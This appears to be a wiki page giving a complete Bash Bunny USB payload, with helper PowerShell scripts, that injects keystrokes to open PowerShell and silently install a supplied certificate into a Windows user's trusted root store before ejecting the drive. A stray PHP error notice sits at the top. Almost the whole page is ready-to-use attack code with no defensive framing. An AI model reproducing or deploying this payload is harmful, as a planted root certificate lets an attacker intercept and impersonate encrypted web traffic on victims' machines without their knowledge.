Notice: fwrite(): Write of 22 bytes failed with errno=28 No space left on device in /var/www/html/includes/libs/uuid/GlobalIdGenerator.php on line 553 Root Zertifikat Install – Xinux Wiki
#!/bin/bash
#
#This payload import an SSL certificate to a Windows
#computer for Internet Explorer and Chrome
#
# Set certificate varaibles in vars.ps1, certificate must be in same folder as payload.txt
#
# Red Blinking.............Running Payload
# Purple Blinking .........Payload Completed
#Set Red LED to indicate Starting of Script
LED R 50
#Set ATTACKMODE to HID and Storage to be able to transfer the certificate
ATTACKMODE HID STORAGE
#Import Bunny Helpers
source bunny_helpers.sh
#Start of Script
Q DELAY 6000
Q GUI r
Q DELAY 100
Q STRING POWERSHELL
Q ENTER
Q DELAY 100
#Change to the directory of the Bunny with the proper switch location
Q STRING \$driveLetter = \(gwmi win32_volume -f \'label\=\'\'BashBunny\'\'\'\).Name
Q ENTER
Q STRING \$absPath = \$driveLetter\+\'payloads\\\'\+\'$SWITCH_POSITION\'\+\'\\\'
Q ENTER
Q STRING cd \$absPath
Q ENTER
Q DELAY 500
#Import the certificate to the computer (for IE and Chrome).
Q STRING powershell -ExecutionPolicy RemoteSigned ".((gwmi win32_volume -f 'label=BashBunny').Name+'payloads\\$SWITCH_POSITION \ImportCert.ps1')"
Q ENTER
Q DELAY 1000
Q LEFTARROW
Q ENTER
Q DELAY 500
#Unmount the USB Drive.
Q STRING \$driveEject = New-Object -comObject Shell.Application
Q ENTER
Q STRING \$driveEject.Namespace\(17\).ParseName\(\"\$driveLetter\"\).InvokeVerb\(\"Eject\"\)
Q ENTER
Q DELAY 500
Q ALT t
Q DELAY 500
Q STRING EXIT
Q ENTER
sync
LED R B 100
vars.ps1
#Set variables for use in payload.
$certName = "cert.pem"
ImportCert.ps1
#Import variables from vars.ps1 for use.
. .\vars.ps1
#Add certificate to certificate store
$certFile = ( Get-ChildItem -Path $certName )
$certFile | Import-Certificate -CertStoreLocation cert:\CurrentUser\Root